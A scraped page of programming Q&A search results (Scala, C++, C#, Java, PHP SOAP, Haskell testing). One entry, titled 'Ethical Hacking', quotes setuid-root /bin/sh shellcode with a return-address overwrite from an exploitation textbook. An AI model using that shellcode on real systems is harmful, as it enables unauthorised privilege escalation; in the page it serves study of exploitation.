Search Results

Search found 21759 results on 871 pages for 'int'.

Page 226/871 | < Previous Page | 222 223 224 225 226 227 228 229 230 231 232 233  | Next Page >

  • Does isEmpty method in Stream evaluate the whole Stream?

    - by abhin4v
    In Scala, does calling isEmtpy method on an instance of Stream class cause the stream to be evaluated completely? My code is like this: import Stream.cons private val odds: Stream[Int] = cons(3, odds.map(_ + 2)) private val primes: Stream[Int] = cons(2, odds filter isPrime) private def isPrime(n: Int): Boolean = n match { case 1 => false case 2 => true case 3 => true case 5 => true case 7 => true case x if n % 3 == 0 => false case x if n % 5 == 0 => false case x if n % 7 == 0 => false case x if (x + 1) % 6 == 0 || (x - 1) % 6 == 0 => true case x => primeDivisors(x) isEmpty } import Math.{sqrt, ceil} private def primeDivisors(n: Int) = primes takeWhile { _ <= ceil(sqrt(n))} filter {n % _ == 0 } So, does the call to isEmpty on the line case x => primeDivisors(x) isEmpty cause all the prime divisors to be evaluated or only the first one?

    Read the article

  • How can I make this method more Scalalicious

    - by Neil Chambers
    I have a function that calculates the left and right node values for some collection of treeNodes given a simple node.id, node.parentId association. It's very simple and works well enough...but, well, I am wondering if there is a more idiomatic approach. Specifically is there a way to track the left/right values without using some externally tracked value but still keep the tasty recursion. /* * A tree node */ case class TreeNode(val id:String, val parentId: String){ var left: Int = 0 var right: Int = 0 } /* * a method to compute the left/right node values */ def walktree(node: TreeNode) = { /* * increment state for the inner function */ var c = 0 /* * A method to set the increment state */ def increment = { c+=1; c } // poo /* * the tasty inner method * treeNodes is a List[TreeNode] */ def walk(node: TreeNode): Unit = { node.left = increment /* * recurse on all direct descendants */ treeNodes filter( _.parentId == node.id) foreach (walk(_)) node.right = increment } walk(node) } walktree(someRootNode) Edit - The list of nodes is taken from a database. Pulling the nodes into a proper tree would take too much time. I am pulling a flat list into memory and all I have is an association via node id's as pertains to parents and children. Adding left/right node values allows me to get a snapshop of all children (and childrens children) with a single SQL query. The calculation needs to run very quickly in order to maintain data integrity should parent-child associations change (which they do very frequently). In addition to using the awesome Scala collections I've also boosted speed by using parallel processing for some pre/post filtering on the tree nodes. I wanted to find a more idiomatic way of tracking the left/right node values. After looking at the answers listed I have settled on this synthesised version: def walktree(node: TreeNode) = { def walk(node: TreeNode, counter: Int): Int = { node.left = counter node.right = treeNodes .filter( _.parentId == node.id) .foldLeft(counter+1) { (counter, curnode) => walk(curnode, counter) + 1 } node.right } walk(node,1) }

    Read the article

  • Axis2 Webservice -> php

    - by Peter Hagström
    Hi! If I have understood Axis2 correct i can construct a WebService and then access it with any SOAP compatible client. I have a java class with a couple of methods that I have written in Eclipse, and then automatically constructed a service with the Axis2 plugin from WTP. This is the methods of my class. public int test(int i){ return i+2; } public Car CarTest(int speed){ return new Car("Biltest", speed); } public CarFactoryAdapter getCarFactory(){ carFact.getCars().add(new Car("Bmw", 250)); carFact.getCars().add(new Car("seat", 350)); carFact.getCars().add(new Car("saab", 150)); carFact.getCars().add(new Car("volv", 50)); return new CarFactoryAdapter(carFact); } The code seems to work when I try it with soapUI and the Axis2-web interface has recognized the methods of my service. But when Iam trying the methods that receives parameters with PHP´s built in soapClient i get a Unknown exception. The getCarFactory methods works at least as expected, but it seems kind of crippled if I can´t send parameters. Example of non working method invocation. ini_set('soap.wsdl_cache_ttl',0); $client = new SoapClient("http://192.168.128.162:8080/ComplexWebService/services/CarService?wsdl", array('soap_version' => SOAP_1_2, 'trace' => 1)); $ar['i'] = (int)100; print_r($client->__soapCall("test",$ar)); I need to make sure that the SOA framework i choose will be able to comunicate with many platforms, there will be clients in at least PHP and Java, but it would be good if it will work in for example .NET to.

    Read the article

  • How do interpreters functions written in the class C++ in the main

    - by T_Geek
    Hi I'm working on a project about Data structures. In the first , I wrote everything in main but it sounds like C . But as I learned, I tried to thinkk OOP and do as little as possible in my main() methods. I've implemented some opertation in my class like add,delet,find.it's too easy to implement its . class ARB { private: struct BT { int data; BT *l; BT *r; }; struct BT *p; public ARB(); ~ARB(); void del(int n); void add(int n); }; void ARB::del(int num) { //The code ,don't care about it }; main() { // BTR T; T.add(3); T.add(5); }; But I arrived to the big program How can I define a methode which have to use a binary tree and to get a stack STACK ARB::MyFunct(BT* p) { // The code don't care about it } How can I apply it in the main programme main() { // BT T; T.add(3); T.add(5); STACK S; BT* p S=T.MyFunct(p); // error C2664 cannot convert parametre 1 }; **mention :I implement STACK class

    Read the article

  • .NET Thread.Abort again

    - by hoodoos
    Again I want to talk about safety of the Thread.Abort function. I was interested to have some way to abort operations which I can't control really and don't want actually, but I want to have my threads free as soon as possible to prevent thread thirsty of my application. So I wrote some test code to see if it's possible to use Thread.Abort and have the aborting thread clean up resources propertly. Here's code: int threadRunCount = 0; int threadAbortCount = 0; int threadFinallyCount = 0; int iterations = 0; while( true ) { Thread t = new Thread( () => { threadRunCount++; try { Thread.Sleep( Random.Next( 45, 55 ) ); } catch( ThreadAbortException ) { threadAbortCount++; } finally { threadFinallyCount++; } } ); t.Start(); Thread.Sleep( 45 ); t.Abort(); iterations++; } So, so far this code worked for about 5 mins, and threadRunCount was always equal to threadFinally and threadAbort was somewhat lower in number, because some threads completed with no abort or probably got aborted in finally. So the question is, do I miss something?

    Read the article

  • How do I tell gcc to relax its restrictions on typecasting when calling a C function from C++?

    - by Daryl Spitzer
    I'm trying to use Cmockery to mock C functions called from C++ code. Because the SUT is in C++, my tests need to be in C++. When I use the Cmockery expect_string() macro like this: expect_string(mock_function, url, "Foo"); I get: my_tests.cpp: In function ‘void test_some_stuff(void**)’: my_tests.cpp:72: error: invalid conversion from ‘void*’ to ‘const char*’ my_tests.cpp:72: error: initializing argument 5 of ‘void _expect_string(const char*, const char*, const char*, int, const char*, int)’ I see in cmockery.h that expect_string is defined: #define expect_string(function, parameter, string) \ expect_string_count(function, parameter, string, 1) #define expect_string_count(function, parameter, string, count) \ _expect_string(#function, #parameter, __FILE__, __LINE__, (void*)string, \ count) And here's the prototype for _expect_string (from cmockery.h): void _expect_string( const char* const function, const char* const parameter, const char* const file, const int line, const char* string, const int count); I believe the problem is that I'm compiling C code as C++, so the C++ compiler is objecting to (void*)string in the expect_string_count macro being passed as the const char* string parameter to the _expect_string() function. I've already used extern "C" around the cmockery.h include in my_tests.cpp like this: extern "C" { #include <cmockery.h> } ...in order to get around name-mangling problems. (See "How do I compile and link C++ code with compiled C code?") Is there a command-line option or some other means of telling g++ how to relax its restrictions on typecasting from my test's C++ code to the C function in cmockery.c? This is the command I'm currently using to build my_tests.cpp: g++ -m32 -I ../cmockery-0.1.2 -c my_tests.cpp -o $(obj_dir)/my_tests.o

    Read the article

  • ASIHTTPRequest wrapper usage for Macs

    - by Rob
    I am trying to apply the ASIHTTPRequest wrapper to a very basic Objective C program. I have already copied over the necessary files into my program and after giving myself an extreme headache trying to figure out how it works through their website I thought I would post a question on here. The files copied over were: ASIHTTPRequestConfig.h ASIHTTPRequestDelegate.h ASIProgressDelegate.h ASIInputStream.h ASIInputStream.m ASIHTTPRequest.h ASIHTTPRequest.m ASIFormDataRequest.h ASIFormDataRequest.m My program is very basic: #import <Foundation/Foundation.h> int main (int argc, const char * argv[]) { NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; // Defining the various variables. char firstName[20]; char lastName[20]; char rank[5]; int leaveAccrued; int leaveRequested; // User Input. NSLog (@"Please input First Name:"); scanf("%s", &firstName); NSLog (@"Please input Last Name:"); scanf("%s", &lastName); NSLog (@"Please input Rank:"); scanf("%s", &rank); NSLog (@"Please input the number leave days you have accrued:"); scanf("%i", &leaveAccrued); NSLog (@"Please input the number of leave days you are requesting:"); scanf("%i", &leaveRequested); // Print results. NSLog (@"Name: %s %s", firstName, lastName); NSLog (@"Rank: %s", rank); NSLog (@"Leave Accrued: %i", leaveAccrued); NSLog (@"Leave Requested: %i", leaveRequested); [pool drain]; return 0; } How do I utilize the wrapper to export these 5 basic variables to a web server via an http request?

    Read the article

  • Get the signed/unsigned variant of an integer template parameter without explicit traits

    - by Blair Holloway
    I am looking to define a template class whose template parameter will always be an integer type. The class will contain two members, one of type T, and the other as the unsigned variant of type T -- i.e. if T == int, then T_Unsigned == unsigned int. My first instinct was to do this: template <typename T> class Range { typedef unsigned T T_Unsigned; // does not compile public: Range(T min, T_Unsigned range); private: T m_min; T_Unsigned m_range; }; But it doesn't work. I then thought about using partial template specialization, like so: template <typename T> struct UnsignedType {}; // deliberately empty template <> struct UnsignedType<int> { typedef unsigned int Type; }; template <typename T> class Range { typedef UnsignedType<T>::Type T_Unsigned; /* ... */ }; This works, so long as you partially specialize UnsignedType for every integer type. It's a little bit of additional copy-paste work (slash judicious use of macros), but serviceable. However, I'm now curious - is there another way of determining the signed-ness of an integer type, and/or using the unsigned variant of a type, without having to manually define a Traits class per-type? Or is this the only way to do it?

    Read the article

  • sizeof continues to return 4 instead of actual size

    - by Guest
    #include <iostream> using namespace std; int main() { cout << "Do you need to encrypt or decrypt?" << endl; string message; getline(cin, message); int letter2number; for (int place = 1; place < sizeof(message); place++) { letter2number = static_cast<int>(message[place]); cout << letter2number << endl; } } Examples of problem: I type fifteen letters but only four integers are printed. I type seven letters but only four integers are printed. The loop only occurs four times on my computer, not the number of characters in the string. This is the only problem I am having with it, so if you see other errors, please don't tell me. (It is more fun that way.) Thank you for your time.

    Read the article

  • I have this code .... Ethical Hacking

    - by kmitnick
    hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code. //shellcode.c char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } I give this the super user privileges, with chmod u+s shellcode as a super user, then go back to normal user with su - normal_user but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

    Read the article

  • sizeof abuse : get the size of a const table

    - by shodanex
    When declaring a const table, it is possible to get the size of the table using sizeof. However, once you stop using the symbol name, it does not work anymore. is there a way to have the following program output the correct size for table A, instead of 0 ? #include <stdio.h> struct mystruct { int a; short b; }; const struct mystruct tableA[] ={ { .a = 1, .b = 2, }, { .a = 2, .b = 2, }, { .a = 3, .b = 2, }, }; const struct mystruct tableB[] ={ { .a = 1, .b = 2, }, { .a = 2, .b = 2, }, }; int main(int argc, char * argv[]) { int tbl_sz; const struct mystruct * table; table = tableA; tbl_sz = sizeof(table)/sizeof(struct mystruct); printf("size of table A : %d\n", tbl_sz); table = tableB; tbl_sz = sizeof(tableB)/sizeof(struct mystruct); printf("size of table B : %d\n", tbl_sz); return 0; } Output is : size of table A : 0 size of table B : 2

    Read the article

  • Trying to set up nested while loops using a boolean switch

    - by thorn100
    First time posting. I'm trying to set up a while loop that will ask the user for the employee name, hours worked and hourly wage until the user enters 'DONE'. Eventually I'll modify the code to calculate the weekly pay and write it to a list, but one thing at a time. The problem is once the main while loop executes once, it just stops. Doesn't error out but just stops. I have to kill the program to get it to stop. I want it to ask the three questions again and again until the user is finished. Thoughts? Please note that this is just an exercise and not meant for any real world application. def getName(): """Asks for the employee's full name""" firstName=raw_input("\nWhat is your first name? ") lastName=raw_input("\nWhat is your last name? ") fullName=firstName.title() + " " + lastName.title() return fullName def getHours(): """Asks for the number of hours the employee worked""" hoursWorked=0 while int(hoursWorked)<1 or int(hoursWorked) > 60: hoursWorked=raw_input("\nHow many hours did the employee work: ") if int(hoursWorked)<1 or int(hoursWorked) > 60: print "Please enter an integer between 1 and 60." else: return hoursWorked def getWage(): """Asks for the employee's hourly wage""" wage=0 while float(wage)<6.00 or float(wage)>20.00: wage=raw_input("\nWhat is the employee's hourly wage: ") if float(wage)<6.00 or float(wage)>20.00: print ("Please enter an hourly wage between $6.00 and $20.00") else: return wage ##sentry variables employeeName="" employeeHours=0 employeeWage=0 booleanDone=False #Enter employee info print "Please enter payroll information for an employee or enter 'DONE' to quit." while booleanDone==False: while employeeName=="": employeeName=getName() if employeeName.lower()=="done": booleanDone=True break print "The employee's name is", employeeName while employeeHours==0: employeeHours=getHours() if employeeHours.lower()=="done": booleanDone=True break print employeeName, "worked", employeeHours, "this week." while employeeWage==0: employeeWage=getWage() if employeeWage.lower()=="done": booleanDone=True break print employeeName + "'s hourly wage is $" + employeeWage

    Read the article

  • How to detect whether there is a specific member variable in class?

    - by Kirill V. Lyadvinsky
    For creating algorithm template function I need to know whether x or X (and y or Y) in class that is template argument. It may by useful when using my function for MFC CPoint class or GDI+ PointF class or some others. All of them use different x in them. My solution could be reduces to the following code: template<int> struct TT {typedef int type;}; template<class P> bool Check_x(P p, typename TT<sizeof(&P::x)>::type b = 0) { return true; } template<class P> bool Check_x(P p, typename TT<sizeof(&P::X)>::type b = 0) { return false; } struct P1 {int x; }; struct P2 {float X; }; // it also could be struct P3 {unknown_type X; }; int main() { P1 p1 = {1}; P2 p2 = {1}; Check_x(p1); // must return true Check_x(p2); // must return false return 0; } But it does not compile in Visual Studio, while compiling in the GNU C++. With Visual Studio I could use the following template: template<class P> bool Check_x(P p, typename TT<&P::x==&P::x>::type b = 0) { return true; } template<class P> bool Check_x(P p, typename TT<&P::X==&P::X>::type b = 0) { return false; } But it does not compile in GNU C++. Is there universal solution? UPD: Structures P1 and P2 here are only for example. There are could be any classes with unknown members.

    Read the article

  • Dynamic checkboxlist

    - by Steve
    Hi, I am currently building a dynamic url tab system that user can say what urls they want to be displayed on a tabpage control. In the database i have the following columns. userID, int URLName var Enabled bit I am pulling the data back ok but what i am trying do is populate a checkbox list with the urlname and its status on a user options page so they can say what tabs they want displayed. I have wrote the following methods to get the urls and create the checkboxes however i keep getting the following error. ex = {"InvalidArgument=Value of '1' is not valid for 'index'.\r\nParameter name: index"} It reads the first row ok but when it hits the 2nd row that is being returned i get that error. Has anyone got any ideas? Thanks private void GetUserURLS() { db.initiateCommand("[Settings].[LoadAllUserURLS]", CommandType.StoredProcedure); sqlp = db.addParameter("@UserID", _UserID, SqlDbType.Int, ParameterDirection.Input); sqlp = db.addParameter("@spErrorID", DBNull.Value, SqlDbType.Int, ParameterDirection.InputOutput); db.executeCommand(); CreateCheckBoxes(db.getTable(0).Rows); db.releaseCommand(); } private void CreateCheckBoxes(DataRowCollection rows) { try { int i = 0; foreach (DataRow row in rows) { //Gets the url name and path when the status is enabled. The status of Enabled / Disabled is setup in the users option page string URLName = row["URLName"].ToString(); bool enabled = Convert.ToBoolean(row["Enabled"]); CheckedListBox CB = new CheckedListBox(); CB.Items.Insert(i, URLName); CB.Tag = "CB" + i.ToString(); checkedListBox1.Items.Add(CB); i++; } } catch (Exception ex) { //Log error Functionality func = new Functionality(); func.LogError(ex); //Error message the user will see string FriendlyError = "There has been populating checkboxes with the urls - A notification has been sent to development"; Classes.ShowMessageBox.MsgBox(FriendlyError, "There has been an Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } }

    Read the article

  • How to delete a QProcess instance correctly?

    - by Kopfschmerzen
    Hi everyone! I have a class looking like this: class FakeRunner : public QObject { Q_OBJECT private: QProcess* proc; public: FakeRunner(); int run() { if (proc) return -1; proc = new QProcess(); QStringList args; QString programName = "fake.exe"; connect(comp, SIGNAL(started()), this, SLOT(procStarted())); connect(comp, SIGNAL(error(QProcess::ProcessError)), this, SLOT(procError(QProcess::ProcessError))); connect(comp, SIGNAL(finished(int, QProcess::ExitStatus)), this, SLOT(procFinished(int, QProcess::ExitStatus))); proc->start(programName, args); return 0; }; private slots: void procStarted() {}; void procFinished(int, QProcess::ExitStatus) {}; void procError(QProcess::ProcessError); } Since "fake.exe" does not exist on my system, proc emits the error() signal. If I handle it like following, my program crashes: void FakeRunner::procError(QProcess::ProcessError rc) { delete proc; proc = 0; } It works well, though, if I don't delete the pointer. So, the question is how (and when) should I delete the pointer to QProcess? I believe I have to delete it to avoid a memory leak. FakeRunner::run() can be invoked many times, so the leak, if there is one, will grow. Thanks!

    Read the article

  • What's the equivalent of gcc's -mwindows option in cmake?

    - by Runner
    I'm following the tuto: http://zetcode.com/tutorials/gtktutorial/firstprograms/ It works but each time I double click on the executable,there is a console which I don't want it there. How do I get rid of that console? I tried this: add_executable(Cmd WIN32 cmd.c) But got this fatal error: MSVCRTD.lib(crtexew.obj) : error LNK2019: unresolved external symbol _WinMain@16 referenced in function ___tmainCRTStartup Cmd.exe : fatal error LNK1120: 1 unresolved externals While using gcc directly works: gcc -o Cmd cmd.c -mwindows .. I'm guessing it has something to do with the entry function: int main( int argc, char *argv[]),but why gcc works? How can I make it work with cmake? UPDATE Let me paste the source code here for convenience: #include <gtk/gtk.h> int main( int argc, char *argv[]) { GtkWidget *window; gtk_init(&argc, &argv); window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_widget_show(window); gtk_main(); return 0; } UPDATE2 Why gcc -mwindows works but add_executable(Cmd WIN32 cmd.c) not? Maybe that's not the equivalent for -mwindows in cmake?

    Read the article

  • Linq join two dictionaries using a common key

    - by rboarman
    Hello, I am trying to join two Dictionary collections together based on a common lookup value. var idList = new Dictionary<int, int>(); idList.Add(1, 1); idList.Add(3, 3); idList.Add(5, 5); var lookupList = new Dictionary<int, int>(); lookupList.Add(1, 1000); lookupList.Add(2, 1001); lookupList.Add(3, 1002); lookupList.Add(4, 1003); lookupList.Add(5, 1004); lookupList.Add(6, 1005); lookupList.Add(7, 1006); // Something like this: var q = from id in idList.Keys join entry in lookupList on entry.Key equals id select entry.Value; The Linq statement above is only an example and does not compile. For each entry in the idList, pull the value from the lookupList based on matching Keys. The result should be a list of Values from lookupList (1000, 1002, 1004). What’s the easiest way to do this using Linq? Thank you, Rick

    Read the article

  • Index Tuning for SSIS tasks

    - by Raj More
    I am loading tables in my warehouse using SSIS. Since my SSIS is slow, it seemed like a great idea to build indexes on the tables. There are no primary keys (and therefore, foreign keys), indexes (clustered or otherwise), constraints, on this warehouse. In other words, it is 100% efficiency free. We are going to put indexes based on usage - by analyzing new queries and current query performance. So, instead of doing it our old fashioned sweat and grunt way of actually reading the SQL statements and execution plans, I thought I'd put the shiny new Database Engine Tuning Advisor to use. I turned SQL logging off in my SSIS package and ran a "Tuning" trace, saved it to a table and analyzed the output in the Tuning Advisor. Most of the lookups are done as: exec sp_executesql N'SELECT [Active], [CompanyID], [CompanyName], [CompanyShortName], [CompanyTypeID], [HierarchyNodeID] FROM [dbo].[Company] WHERE ([CompanyID]=@P1) AND ([StartDateTime] IS NOT NULL AND [EndDateTime] IS NULL)',N'@P1 int',1 exec sp_executesql N'SELECT [Active], [CompanyID], [CompanyName], [CompanyShortName], [CompanyTypeID], [HierarchyNodeID] FROM [dbo].[Company] WHERE ([CompanyID]=@P1) AND ([StartDateTime] IS NOT NULL AND [EndDateTime] IS NULL)',N'@P1 int',2 exec sp_executesql N'SELECT [Active], [CompanyID], [CompanyName], [CompanyShortName], [CompanyTypeID], [HierarchyNodeID] FROM [dbo].[Company] WHERE ([CompanyID]=@P1) AND ([StartDateTime] IS NOT NULL AND [EndDateTime] IS NULL)',N'@P1 int',3 exec sp_executesql N'SELECT [Active], [CompanyID], [CompanyName], [CompanyShortName], [CompanyTypeID], [HierarchyNodeID] FROM [dbo].[Company] WHERE ([CompanyID]=@P1) AND ([StartDateTime] IS NOT NULL AND [EndDateTime] IS NULL)',N'@P1 int',4 and when analyzed, these statements have the reason "Event does not reference any tables". Huh? Does it not see the FROM dbo.Company??!! What is going on here? So, I have multiple questions: How do I get it to capture the actual statement executing in my trace, not what was submitted in a batch? Are there any best practices to follow for tuning performance related to SSIS packages running against SQL Server 2008?

    Read the article

  • TransactionScope Prematurely Completed

    - by Chris
    I have a block of code that runs within a TransactionScope and within this block of code I make several calls to the DB. Selects, Updates, Creates, and Deletes, the whole gamut. When I execute my delete I execute it using an extension method of the SqlCommand that will automatically resubmit the query if it deadlocks as this query could potentially hit a deadlock. I believe the problem occurs when a deadlock is hit and the function tries to resubmit the query. This is the error I receive: The transaction associated with the current connection has completed but has not been disposed. The transaction must be disposed before the connection can be used to execute SQL statements. This is the simple code that executes the query (all of the code below executes within the using of the TransactionScope): using (sqlCommand.Connection = new SqlConnection(ConnectionStrings.App)) { sqlCommand.Connection.Open(); sqlCommand.ExecuteNonQueryWithDeadlockHandling(); } Here is the extension method that resubmits the deadlocked query: public static class SqlCommandExtender { private const int DEADLOCK_ERROR = 1205; private const int MAXIMUM_DEADLOCK_RETRIES = 5; private const int SLEEP_INCREMENT = 100; public static void ExecuteNonQueryWithDeadlockHandling(this SqlCommand sqlCommand) { int count = 0; SqlException deadlockException = null; do { if (count > 0) Thread.Sleep(count * SLEEP_INCREMENT); deadlockException = ExecuteNonQuery(sqlCommand); count++; } while (deadlockException != null && count < MAXIMUM_DEADLOCK_RETRIES); if (deadlockException != null) throw deadlockException; } private static SqlException ExecuteNonQuery(SqlCommand sqlCommand) { try { sqlCommand.ExecuteNonQuery(); } catch (SqlException exception) { if (exception.Number == DEADLOCK_ERROR) return exception; throw; } return null; } } The error occurs on the line that executes the nonquery: sqlCommand.ExecuteNonQuery();

    Read the article

  • Weirdness with cabal, HTF, and HUnit assertions

    - by rampion
    So I'm trying to use HTF to run some HUnit-style assertions % cat tests/TestDemo.hs {-# OPTIONS_GHC -Wall -F -pgmF htfpp #-} module Main where import Test.Framework import Test.HUnit.Base ((@?=)) import System.Environment (getArgs) -- just run some tests main :: IO () main = getArgs >>= flip runTestWithArgs Main.allHTFTests -- all these tests should fail test_fail_int1 :: Assertion test_fail_int1 = (0::Int) @?= (1::Int) test_fail_bool1 :: Assertion test_fail_bool1 = True @?= False test_fail_string1 :: Assertion test_fail_string1 = "0" @?= "1" test_fail_int2 :: Assertion test_fail_int2 = [0::Int] @?= [1::Int] test_fail_string2 :: Assertion test_fail_string2 = "true" @?= "false" test_fail_bool2 :: Assertion test_fail_bool2 = [True] @?= [False] And when I use ghc --make, it seems to work correctly. % ghc --make tests/TestDemo.hs [1 of 1] Compiling Main ( tests/TestDemo.hs, tests/TestDemo.o ) Linking tests/TestDemo ... % tests/TestDemoA ... * Tests: 6 * Passed: 0 * Failures: 6 * Errors: 0 Failures: * Main:fail_int1 (tests/TestDemo.hs:9) * Main:fail_bool1 (tests/TestDemo.hs:12) * Main:fail_string1 (tests/TestDemo.hs:15) * Main:fail_int2 (tests/TestDemo.hs:19) * Main:fail_string2 (tests/TestDemo.hs:22) * Main:fail_bool2 (tests/TestDemo.hs:25) But when I use cabal to build it, not all the tests that should fail, fail. % cat Demo.cabal ... executable test-demo build-depends: base >= 4, HUnit, HTF main-is: TestDemo.hs hs-source-dirs: tests % cabal configure Resolving dependencies... Configuring Demo-0.0.0... % cabal build Preprocessing executables for Demo-0.0.0... Building Demo-0.0.0... [1 of 1] Compiling Main ( tests/TestDemo.hs, dist/build/test-demo/test-demo-tmp/Main.o ) Linking dist/build/test-demo/test-demo ... % dist/build/test-demo/test-demo ... * Tests: 6 * Passed: 3 * Failures: 3 * Errors: 0 Failures: * Main:fail_int2 (tests/TestDemo.hs:23) * Main:fail_string2 (tests/TestDemo.hs:26) * Main:fail_bool2 (tests/TestDemo.hs:29) What's going wrong and how can I fix it?

    Read the article

  • JDO difficulties in retrieving persistent vector

    - by Michael Omer
    I know there are already some posts regarding this subject, but although I tried using them as a reference, I am still stuck. I have a persistent class as follows: @PersistenceCapable(identityType = IdentityType.APPLICATION) public class GameObject implements IMySerializable{ @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) protected Key m_databaseKey; @NotPersistent private final static int END_GAME_VAR = -1000; @Persistent(defaultFetchGroup = "true") protected GameObjectSet m_set; @Persistent protected int m_databaseType = IDatabaseAccess.TYPE_NONE; where GameObjectSet is: @PersistenceCapable(identityType = IdentityType.APPLICATION) @FetchGroup(name = "mySet", members = {@Persistent(name = "m_set")}) public class GameObjectSet { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) private Key id; @Persistent private Vector<GameObjectSetPair> m_set; and GameObjectSetPair is: @PersistenceCapable(identityType = IdentityType.APPLICATION) public class GameObjectSetPair { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) private Key id; @Persistent private String key; @Persistent(defaultFetchGroup = "true") private GameObjectVar value; When I try to fetch the entire structure by fetching the GameObject, the set doesn't have any elements (they are all null) I tried adding the fetching group to the PM, but to no avail. This is my fetching code Vector<GameObject> ret = new Vector<GameObject>(); PersistenceManager pm = PMF.get().getPersistenceManager(); pm.getFetchPlan().setMaxFetchDepth(-1); pm.getFetchPlan().addGroup("mySet"); Query myQuery = pm.newQuery(GameObject.class); myQuery.setFilter("m_databaseType == objectType"); myQuery.declareParameters("int objectType"); try { List<GameObject> res = (List<GameObject>)myQuery.execute(objectType); ret = new Vector<GameObject>(res); for (int i = 0; i < ret.size(); i++) { ret.elementAt(i).getSet(); ret.elementAt(i).getSet().touchSet(); } } catch (Exception e) { } finally { pm.close(); } Does anyone have any idea? Thanks Mike

    Read the article

  • Question on boost array initializer

    - by ArunSaha
    I am trying to understand the boost array. The code can be read easily from author's site. In the design rationale, author (Nicolai M. Josuttis) mentioned that the following two types of initialization is possible. boost::array<int,4> a = { { 1, 2, 3 } }; // Line 1 boost::array<int,4> a = { 1, 2, 3 }; // Line 2 In my experiment with g++ (version 4.1.2) Line 1 is working but Line 2 is not. (Line 2 yields the following: warning: missing braces around initializer for 'int [4]' warning: missing initializer for member 'boost::array<int, 4ul>::elems' ) Nevertheless, my main question is, how Line 1 is working? I tried to write a class similar to array.hpp and use statement like Line 1, but that did not work :-(. Can somebody explain me? Is there some boost specific thing happening in Line 1 that I need to be aware of? Thanks in advance. Regards,

    Read the article

  • Casting to a struct from LPVOID - C

    - by Jamie Keeling
    Hello, I am writing a simple console application which will allow me to create a number of threads from a set of parameters passed through the arguments I provide. DWORD WINAPI ThreadFunc(LPVOID threadData) { } I am packing them into a struct and passing them as a parameter into the CreateThread method and trying to unpack them by casting them to the same type as my struct from the LPVOID. I'm not sure how to cast it to the struct after getting it through so I can use it in the method itself, i've tried various combinations (Example attatched) but it won't compile. Struct: #define numThreads 1 struct Data { int threads; int delay; int messages; }; Call to method: HANDLE hThread; DWORD threadId; struct Data *tData; tData->threads = numThreads; tData->messages = 3; tData->delay = 1000; // Create child thread hThread = CreateThread( NULL, // lpThreadAttributes (default) 0, // dwStackSize (default) ThreadFunc, // lpStartAddress &tData, // lpParameter 0, // dwCreationFlags &threadId // lpThreadId (returned by function) ); My attempt: DWORD WINAPI ThreadFunc(LPVOID threadData) { struct Data tData = (struct Data)threadData; int msg; for(msg = 0; msg<5; msg++) { printf("Message %d from child\n", msg); } return 0; } Compiler error: error C2440: 'type cast' : cannot convert from 'LPVOID' to 'Data' As you can see I have implemented a way to loop through a number of messages already, I'm trying to make things slightly more advanced and add some further functionality.

    Read the article

  • Does Java have dynamic variables for class members?

    - by Arvanem
    Hi folks, I am wondering whether it is possible to make dynamic variables in Java. In other words, variables that change depending on my instructions. FYI, I am making a trading program. A given merchant will have an array of items for sale for various prices. The dynamism I am calling for comes in because each category of items for sale has its own properties. For example, a book item has two properties: int pages, and boolean hardCover. In contrast, a bookmark item has one property, String pattern. Here are skeleton snippets of code so you can see what I am trying to do: public class Merchants extends /* certain parent class */ { // only 10 items for sale to begin with Stock[] itemsForSale = new Stock[10]; // Array holding Merchants public static Merchants[] merchantsArray = new Merchants[maxArrayLength]; // method to fill array of stock goes here } and public class Stock { int stockPrice; int stockQuantity; String stockType; // e.g. book and bookmark // Dynamic variables here, but they should only be invoked depending on stockType int pages; boolean hardCover; String pattern; }

    Read the article

  • Using Constraints on Hierarchical Data in a Self-Referential Table

    - by pbarney
    Suppose you have the following table, intended to represent hierarchical data: +--------+-------------+ | Field | Type | +--------+-------------+ | id | int(10) | | parent | int(10) | | name | varchar(45) | +--------+-------------+ The table is self-referential in that the parent_id refers to id. So you might have the following data: +----+--------+---------------+ | id | parent | name | +----+--------+---------------+ | 1 | 0 | fruit | | 2 | 0 | vegetable | | 3 | 1 | apple | | 4 | 1 | orange | | 5 | 3 | red delicious | | 6 | 3 | granny smith | | 7 | 3 | gala | +----+--------+---------------+ Using MySQL, I am trying to impose a (self-referential) foreign key constraint upon the data to update on cascades and prevent deletion of fruit if they have "children." So I used the following: CREATE TABLE `idtlp_main`.`fruit` ( `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, `parent` INT(10) UNSIGNED, `name` VARCHAR(45) NOT NULL, PRIMARY KEY (`id`), CONSTRAINT `fk_parent` FOREIGN KEY (`parent`) REFERENCES `fruit` (`id`) ON UPDATE CASCADE ON DELETE RESTRICT ) ENGINE = InnoDB; From what I understand, this should fit my requirements. (And parent must default to null to allow insertions, correct?) The problem is, if I change the id of a record, it will not cascade: Cannot delete or update a parent row: a foreign key constraint fails (`iddoc_main`.`fruit`, CONSTRAINT `fk_parent` FOREIGN KEY (`parent`) REFERENCES `fruit` (`id`) ON UPDATE CASCADE) What am I missing? Feel free to correct me if my terminology is screwed up... I'm new to constraints.

    Read the article

< Previous Page | 222 223 224 225 226 227 228 229 230 231 232 233  | Next Page >